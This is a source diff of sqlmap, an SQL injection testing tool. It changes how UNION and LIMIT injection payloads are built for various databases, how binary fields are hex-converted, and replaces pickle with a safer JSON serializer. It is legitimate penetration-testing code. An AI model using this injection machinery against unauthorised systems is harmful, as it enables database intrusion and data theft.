if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||
@@ -220,7 +221,7 @@ class Agent(object):
|
||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||
if base64Encoding:
|
||||
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
|
||||
else:
|
||||
@@ -507,10 +508,32 @@ class Agent(object):
|
||||
if field and Backend.getIdentifiedDbms():
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
|
||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
||||
hexConvert = conf.hexConvert or kb.binaryField
|
||||
|
||||
# For BINARY fields, wrap the RAW column with the hex function rather than the text-casted one:
|
||||
# text-casting binary first (e.g. CAST(<binary> AS NCHAR) on MySQL) NULLs non-text bytes, so HEX()
|
||||
# would encode the NULL placeholder and silently lose the value (e.g. binary-stored password
|
||||
# hashes). This is limited to binary fields: the blanket '--hex' keeps the cast-first path because
|
||||
# raw-hexing a numeric/temporal column uses the DBMS's numeric HEX semantics (MySQL HEX(255)='FF'),
|
||||
# which is NOT the hex of its string representation. Every DBMS hex function takes binary directly
|
||||
# EXCEPT PostgreSQL's CONVERT_TO() (needs text), so PostgreSQL stays on the cast-first path too.
|
||||
hexRaw = kb.binaryField and not Backend.isDbms(DBMS.PGSQL)
|
||||
|
||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
|
||||
nulledCastedField = field
|
||||
if hexConvert:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
else:
|
||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
if hexRaw:
|
||||
nulledCastedField = self.hexConvertField(field)
|
||||
elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"):
|
||||
# NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them
|
||||
nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field
|
||||
elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field):
|
||||
# Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate
|
||||
nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field)
|
||||
elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
nulledCastedField = rootQuery.cast.query % field
|
||||
|
||||
if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
|
||||
@@ -520,9 +543,8 @@ class Agent(object):
|
||||
else:
|
||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||
|
||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
||||
if conf.hexConvert or kb.binaryField:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
if hexConvert and not hexRaw:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
|
||||
if suffix:
|
||||
nulledCastedField += suffix
|
||||
@@ -676,6 +698,49 @@ class Agent(object):
|
||||
pass
|
||||
return retVal
|
||||
|
||||
@staticmethod
|
||||
def _collapseFieldDelimiterSpace(query):
|
||||
"""
|
||||
Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside
|
||||
single/double quoted string literals, so a comma-space inside a literal (e.g. in a
|
||||
WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling
|
||||
mirrors splitFields()/zeroDepthSearch().
|
||||
|
||||
>>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t")
|
||||
'SELECT a,b FROM t'
|
||||
>>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'")
|
||||
"SELECT a,b FROM t WHERE name='John, Jr'"
|
||||
"""
|
||||
|
||||
retVal = []
|
||||
quote = None
|
||||
index = 0
|
||||
length = len(query)
|
||||
|
||||
while index < length:
|
||||
char = query[index]
|
||||
if quote:
|
||||
retVal.append(char)
|
||||
if char == quote:
|
||||
if index + 1 < length and query[index + 1] == quote: # escaped quote (e.g. '')
|
||||
retVal.append(query[index + 1])
|
||||
index += 2
|
||||
continue
|
||||
else:
|
||||
quote = None
|
||||
elif char in ('"', "'"):
|
||||
quote = char
|
||||
retVal.append(char)
|
||||
elif char == ',' and index + 1 < length and query[index + 1] == ' ':
|
||||
retVal.append(',') # keep the delimiter, drop the single trailing space
|
||||
index += 2
|
||||
continue
|
||||
else:
|
||||
retVal.append(char)
|
||||
index += 1
|
||||
|
||||
return "".join(retVal)
|
||||
|
||||
def concatQuery(self, query, unpack=True):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
@@ -704,7 +769,7 @@ class Agent(object):
|
||||
|
||||
if unpack:
|
||||
concatenatedQuery = ""
|
||||
query = query.replace(", ", ',')
|
||||
query = self._collapseFieldDelimiterSpace(query)
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
@@ -727,7 +792,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -825,9 +890,9 @@ class Agent(object):
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
Take in input a query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
||||
Examples:
|
||||
@@ -867,10 +932,21 @@ class Agent(object):
|
||||
if query.startswith("SELECT "):
|
||||
query = query[len("SELECT "):]
|
||||
|
||||
# On MySQL 8+ the retrieved value (connection collation) cannot be merged in a
|
||||
# UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci),
|
||||
# raising "Illegal mix of collations". Normalizing the charset and forcing an explicit
|
||||
# collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values).
|
||||
# Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on
|
||||
# older versions there is no such collation clash to begin with (unknown version => assumed recent).
|
||||
collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False
|
||||
|
||||
def _collate(value):
|
||||
return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value
|
||||
|
||||
unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
||||
|
||||
if limited:
|
||||
unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
|
||||
unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count))
|
||||
unionQuery += fromTable
|
||||
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
|
||||
|
||||
@@ -900,12 +976,22 @@ class Agent(object):
|
||||
else:
|
||||
infoFile = None
|
||||
|
||||
if not infoFile:
|
||||
query = _collate(query)
|
||||
|
||||
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
|
||||
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
|
||||
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
|
||||
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
|
||||
|
||||
for element in xrange(0, count):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if conf.uValues and conf.uValues.count(',') + 1 == count:
|
||||
unionQuery += conf.uValues.split(',')[element]
|
||||
elif template is not None:
|
||||
unionQuery += query if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += query
|
||||
else:
|
||||
@@ -927,8 +1013,10 @@ class Agent(object):
|
||||
if element > 0:
|
||||
unionQuery += ','
|
||||
|
||||
if element == position:
|
||||
unionQuery += multipleUnions
|
||||
if template is not None:
|
||||
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
|
||||
elif element == position:
|
||||
unionQuery += _collate(multipleUnions)
|
||||
else:
|
||||
unionQuery += char
|
||||
|
||||
@@ -953,8 +1041,14 @@ class Agent(object):
|
||||
else:
|
||||
limitRegExp2 = None
|
||||
|
||||
# DBMSes whose paging is a simple appended "LIMIT ... OFFSET ..." (limitQuery '% (1, num)' group,
|
||||
# limitregexp 'query2' for a bare LIMIT, groupstart=2/stop=1): a user-supplied LIMIT must be parsed
|
||||
# AND stripped here, else limitQuery appends a SECOND LIMIT (e.g. '... LIMIT 3 LIMIT 1 OFFSET n' on
|
||||
# ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected.
|
||||
limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA)
|
||||
|
||||
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
|
||||
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
@@ -964,7 +1058,9 @@ class Agent(object):
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
elif limitRegExp2:
|
||||
startLimit = 0
|
||||
stopLimit = limitRegExp2.group(int(limitGroupStart))
|
||||
# Note: query2 (LIMIT without OFFSET) always has exactly one group (the
|
||||
# count); using limitGroupStart here would IndexError for H2 (groupstart=2)
|
||||
stopLimit = limitRegExp2.group(1)
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
@@ -994,7 +1090,7 @@ class Agent(object):
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or equivalent, depending on the back-end DBMS) word
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
|
||||
stopLimit += startLimit
|
||||
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
||||
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
||||
@@ -1048,7 +1144,7 @@ class Agent(object):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
@@ -1066,7 +1162,7 @@ class Agent(object):
|
||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||
for part in original.split(','):
|
||||
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1)
|
||||
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||
limitedQuery = replacement
|
||||
break
|
||||
@@ -1117,7 +1213,7 @@ class Agent(object):
|
||||
limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
elif Backend.isDbms(DBMS.MSSQL):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
forgeNotIn = True
|
||||
|
||||
if " ORDER BY " in limitedQuery:
|
||||
@@ -1229,6 +1325,9 @@ class Agent(object):
|
||||
def removePayloadDelimiters(self, value):
|
||||
"""
|
||||
Removes payload delimiters from inside the input string
|
||||
|
||||
>>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1"
|
||||
True
|
||||
"""
|
||||
|
||||
return value.replace(PAYLOAD_DELIMITER, "") if value else value
|
||||
@@ -1236,6 +1335,9 @@ class Agent(object):
|
||||
def extractPayload(self, value):
|
||||
"""
|
||||
Extracts payload from inside of the input string
|
||||
|
||||
>>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1"
|
||||
True
|
||||
"""
|
||||
|
||||
_ = re.escape(PAYLOAD_DELIMITER)
|
||||
@@ -1260,7 +1362,10 @@ class Agent(object):
|
||||
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
|
||||
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||
else:
|
||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||
# Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a
|
||||
# column/identifier merely starting with "order"/"limit" (e.g. order_id) is not
|
||||
# mistaken for the suffix and the WHERE is not spliced into the wrong place
|
||||
match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I)
|
||||
if match:
|
||||
suffix = match.group(0)
|
||||
prefix = query[:-len(suffix)]
|
||||
|
||||
+59
-23
@@ -5,11 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import itertools
|
||||
import os
|
||||
import shutil
|
||||
@@ -86,7 +81,7 @@ class BigArray(list):
|
||||
>>> _[0] = [None]
|
||||
>>> _.index(0)
|
||||
20
|
||||
>>> import pickle; __ = pickle.loads(pickle.dumps(_))
|
||||
>>> import copy; __ = copy.deepcopy(_)
|
||||
>>> __.append(1)
|
||||
>>> len(_)
|
||||
100001
|
||||
@@ -151,16 +146,33 @@ class BigArray(list):
|
||||
with self._lock:
|
||||
if not self.chunks[-1] and len(self.chunks) > 1:
|
||||
self.chunks.pop()
|
||||
filename = self.chunks[-1]
|
||||
idx = len(self.chunks) - 1
|
||||
|
||||
if self.cache and self.cache.index == idx and self.cache.dirty:
|
||||
self.chunks[-1] = self.cache.data
|
||||
self.cache.dirty = False
|
||||
else:
|
||||
from lib.core.convert import deserializeValue
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
self.chunks[-1] = deserializeValue(zlib.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
try:
|
||||
filename = self.chunks[-1]
|
||||
with open(filename, "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||
self._os_remove(filename)
|
||||
self.filenames.discard(filename)
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
raise SqlmapSystemException(errMsg)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# Note: the formerly on-disk chunk is now an in-memory list (and its file has been
|
||||
# removed), so any cache entry still pointing at it is stale; dropping it prevents
|
||||
# serving outdated data if that chunk index is later re-dumped (e.g. append after pop)
|
||||
if isinstance(self.cache, Cache) and self.cache.index == idx:
|
||||
self.cache = None
|
||||
|
||||
return self.chunks[-1].pop()
|
||||
|
||||
@@ -191,18 +203,20 @@ class BigArray(list):
|
||||
self.close()
|
||||
|
||||
def _dump(self, chunk):
|
||||
from lib.core.convert import getBytes, serializeValue
|
||||
try:
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
|
||||
self.filenames.add(filename)
|
||||
with os.fdopen(handle, "w+b") as f:
|
||||
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
# serializeValue() returns text; encode to bytes for the compressed on-disk chunk
|
||||
f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
errMsg += "to a temporary file ('%s'). Please " % ex
|
||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
errMsg += "make sure that there is enough disk space left. If the problem persists, "
|
||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||
errMsg += "writeable by the current user"
|
||||
errMsg += "writable by the current user"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
def _checkcache(self, index):
|
||||
@@ -210,25 +224,46 @@ class BigArray(list):
|
||||
self.cache = None
|
||||
|
||||
if (self.cache and self.cache.index != index and self.cache.dirty):
|
||||
old_filename = self.chunks[self.cache.index]
|
||||
filename = self._dump(self.cache.data)
|
||||
self.chunks[self.cache.index] = filename
|
||||
|
||||
# Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every
|
||||
# cross-chunk dirty flush orphans one temp file on disk and in self.filenames
|
||||
if isinstance(old_filename, STRING_TYPES):
|
||||
try:
|
||||
self._os_remove(old_filename)
|
||||
self.filenames.discard(old_filename)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if not (self.cache and self.cache.index == index):
|
||||
from lib.core.convert import deserializeValue
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||
self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
def __getstate__(self):
|
||||
if self.cache and self.cache.dirty:
|
||||
filename = self._dump(self.cache.data)
|
||||
self.chunks[self.cache.index] = filename
|
||||
self.cache.dirty = False
|
||||
with self._lock:
|
||||
if self.cache and self.cache.dirty:
|
||||
old_filename = self.chunks[self.cache.index]
|
||||
filename = self._dump(self.cache.data)
|
||||
self.chunks[self.cache.index] = filename
|
||||
|
||||
return self.chunks, self.filenames, self.chunk_length
|
||||
if isinstance(old_filename, STRING_TYPES):
|
||||
try:
|
||||
self._os_remove(old_filename)
|
||||
self.filenames.discard(old_filename)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
self.cache.dirty = False
|
||||
|
||||
return self.chunks, self.filenames, self.chunk_length
|
||||
|
||||
def __setstate__(self, state):
|
||||
self.__init__()
|
||||
@@ -325,8 +360,9 @@ class BigArray(list):
|
||||
if cache_index == idx and cache_data is not None:
|
||||
data = cache_data
|
||||
else:
|
||||
from lib.core.convert import deserializeValue
|
||||
with open(chunk, "rb") as f:
|
||||
data = pickle.loads(zlib.decompress(f.read()))
|
||||
data = deserializeValue(zlib.decompress(f.read()))
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
|
||||
+476
-192
File diff suppressed because it is too large
Load Diff
+11
-21
@@ -280,40 +280,30 @@ else:
|
||||
xrange = xrange
|
||||
buffer = buffer
|
||||
|
||||
try:
|
||||
RecursionError = RecursionError
|
||||
except NameError:
|
||||
# Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5)
|
||||
RecursionError = RuntimeError
|
||||
|
||||
def LooseVersion(version):
|
||||
"""
|
||||
>>> LooseVersion("1.0") == LooseVersion("1.0")
|
||||
True
|
||||
>>> LooseVersion("1.0.1") > LooseVersion("1.0")
|
||||
True
|
||||
>>> LooseVersion("1.0.1-") == LooseVersion("1.0.1")
|
||||
True
|
||||
>>> LooseVersion("1.0.11") < LooseVersion("1.0.111")
|
||||
True
|
||||
>>> LooseVersion("foobar") > LooseVersion("1.0")
|
||||
False
|
||||
>>> LooseVersion("1.0") > LooseVersion("foobar")
|
||||
False
|
||||
>>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3")
|
||||
>>> LooseVersion("8.0.22") > LooseVersion("8.0.2")
|
||||
True
|
||||
>>> LooseVersion("8.0.22-0ubuntu0.20.04.2")
|
||||
8.000022
|
||||
>>> LooseVersion("1.0alpha-beta-gama")
|
||||
(1, 0)
|
||||
"""
|
||||
|
||||
match = re.search(r"\A(\d[\d.]*)", version or "")
|
||||
|
||||
if match:
|
||||
result = 0
|
||||
value = match.group(1)
|
||||
weight = 1.0
|
||||
for part in value.strip('.').split('.'):
|
||||
if part.isdigit():
|
||||
result += int(part) * weight
|
||||
weight *= 1e-3
|
||||
return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit())
|
||||
else:
|
||||
result = float("NaN")
|
||||
|
||||
return result
|
||||
return ()
|
||||
|
||||
# NOTE: codecs.open re-implementation (deprecated in Python 3.14)
|
||||
|
||||
|
||||
+258
-36
@@ -5,14 +5,11 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import codecs
|
||||
import datetime
|
||||
import decimal
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
@@ -26,7 +23,6 @@ from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
||||
from lib.core.settings import IS_TTY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PICKLE_PROTOCOL
|
||||
from lib.core.settings import SAFE_HEX_MARKER
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from thirdparty import six
|
||||
@@ -35,50 +31,255 @@ from thirdparty.six.moves import html_parser
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
try:
|
||||
from html import escape as htmlEscape
|
||||
from html import escape as _escape
|
||||
except ImportError:
|
||||
from cgi import escape as htmlEscape
|
||||
from cgi import escape as _escape
|
||||
|
||||
def base64pickle(value):
|
||||
htmlEscape = _escape
|
||||
|
||||
# Safe (no arbitrary code execution) serialization used for the session store (HashDB)
|
||||
# and BigArray disk chunks. The former serializer could execute code while loading, so
|
||||
# deserializing sqlmap's own (locally writable) session/cache files was a recurring
|
||||
# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing
|
||||
# is ever executed on load.
|
||||
#
|
||||
# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest
|
||||
# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers
|
||||
# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with
|
||||
# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of
|
||||
# sqlmap's own classes below. Reconstruction of classes is limited to that explicit
|
||||
# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable.
|
||||
|
||||
# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON
|
||||
# objects), so any decoded JSON object is one of our wrappers and this key can never collide
|
||||
_SERIALIZE_TAG = "$T"
|
||||
|
||||
# fully-qualified names of the ONLY classes that may be reconstructed on deserialization
|
||||
_SERIALIZE_CLASSES = frozenset((
|
||||
"lib.core.datatype.AttribDict",
|
||||
"lib.core.datatype.InjectionDict",
|
||||
"lib.utils.har.RawPair",
|
||||
))
|
||||
|
||||
def _serializeEncode(value):
|
||||
"""
|
||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||
|
||||
>>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
Turns a Python value into a JSON-serializable (tagged) structure
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types):
|
||||
return value
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
return value
|
||||
|
||||
# Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON
|
||||
# string that would round-trip as 'unicode') keeps the exact byte type across versions
|
||||
if isinstance(value, (six.binary_type, bytearray)):
|
||||
raw = bytes(value) if isinstance(value, bytearray) else value
|
||||
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
|
||||
if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a
|
||||
retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode)
|
||||
return retVal
|
||||
|
||||
if isinstance(value, memoryview):
|
||||
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
|
||||
if six.PY3:
|
||||
retVal["pv"] = 3
|
||||
return retVal
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||
except:
|
||||
warnMsg = "problem occurred while serializing "
|
||||
warnMsg += "instance of a type '%s'" % type(value)
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if isinstance(value, buffer): # noqa: F821 # Python 2 only
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0}
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||
except:
|
||||
raise
|
||||
# Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch
|
||||
# (otherwise it would round-trip as a plain list, losing its type)
|
||||
if isinstance(value, BigArray):
|
||||
return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, list):
|
||||
return [_serializeEncode(_) for _ in value]
|
||||
|
||||
if isinstance(value, tuple):
|
||||
return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, frozenset):
|
||||
return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, (set, _collections.Set)):
|
||||
return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, dict):
|
||||
name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__)
|
||||
if name in _SERIALIZE_CLASSES:
|
